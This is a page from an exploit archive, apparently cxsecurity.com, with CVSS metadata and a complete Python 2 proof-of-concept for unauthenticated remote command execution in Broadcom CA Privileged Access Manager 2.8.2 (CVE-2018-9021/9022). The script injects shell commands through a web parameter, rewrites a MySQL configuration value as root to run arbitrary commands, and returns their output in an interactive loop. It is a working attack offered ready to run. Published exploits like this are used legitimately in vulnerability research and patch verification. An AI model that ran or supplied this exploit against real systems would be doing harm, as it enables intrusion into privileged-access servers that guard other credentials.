Broadcom CA Privilged Access Manager 2.8.2 Remote Command Execution

2019.12.06
Credit: Peter Lapp
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Title: Broadcom CA Privilged Access Manager 2.8.2 - Remote Command Execution # Author: Peter Lapp # Date: 2019-12-05 # Vendor: https://techdocs.broadcom.com/us/product-content/recommended-reading/security-notices/ca20180614-01--security-notice-for-ca-privileged-access-manager.html # CVE: CVE-2018-9021 and CVE-2018-9022 # Tested on: v2.8.2 import urllib2 import urllib import ssl import sys import json import base64 ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE def send_command(ip, cmd): cmd = urllib.quote_plus(cmd) url = 'https://'+ip+'/ajax_cmd.php?cmd=AD_IMPORT&command=add&groupId=123&importID=|'+cmd+'+2>%261||&deviceMode=test' request = urllib2.Request(url, None) response = urllib2.urlopen(request, context=ctx) result = json.load(response) return result['responseData'] def get_db_value(): cmd = "echo select value from configuration_f where name = 'ssl_vpn_network' | mysql -u root uag" db_value = send_command(ip,cmd) db_value = db_value.split('\n')[1] return db_value def encode_payload(cmd): sql_string = "update configuration_f set value='\\';"+cmd+" > /tmp/output;\\'' where name='ssl_vpn_network'" cmd = "echo "+base64.b64encode(sql_string)+" | base64 -d | mysql -u root uag " return cmd def restore_sql(value): sql_string = "update configuration_f set value='"+value+"' where name='ssl_vpn_network'" cmd = "echo "+base64.b64encode(sql_string)+" | base64 -d | mysql -u root uag " send_command(ip,cmd) def main(): print '''Xceedium Command Execution PoC by Peter Lapp(lappsec)''' if len(sys.argv) != 2: print "Usage: xceedium_rce.py <target ip>" sys.exit() global ip ip = sys.argv[1] print 'Enter commands below. Type exit to quit' while True: cmd = raw_input('# ') if cmd == "exit": sys.exit() orig_value = get_db_value() payload = encode_payload(cmd) send_command(ip, payload) send_command(ip, 'echo -e openvpn\\n | ncat --send-only 127.0.0.1 2210') output = send_command(ip, 'cat /tmp/output') print output restore_sql(orig_value) if __name__ == "__main__": main()


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top